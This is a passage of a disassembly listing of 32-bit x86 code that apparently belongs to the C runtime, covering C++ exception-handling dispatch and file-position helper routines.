short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE70, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; ___:004229F3p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC sub_4229B1 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_4228FD mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: ___:00422A1Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: ___:00422A14p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE68 mov [ebp+var_1C], ecx mov ecx, dword_4DBE6C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE68, edi mov ecx, [ebp+arg_8] mov dword_4DBE6C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: ___:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: ___:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: ___:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE68, eax mov eax, [ebp-20h] mov dword_4DBE6C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_28 = dword ptr -28h var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE74 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: ___:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: ___:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 call near ptr 2650000h nop loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: ___:0041DAF2p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD140 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDDC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2791072h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D nop call near ptr 26908B8h jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD040[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDDC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD140 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 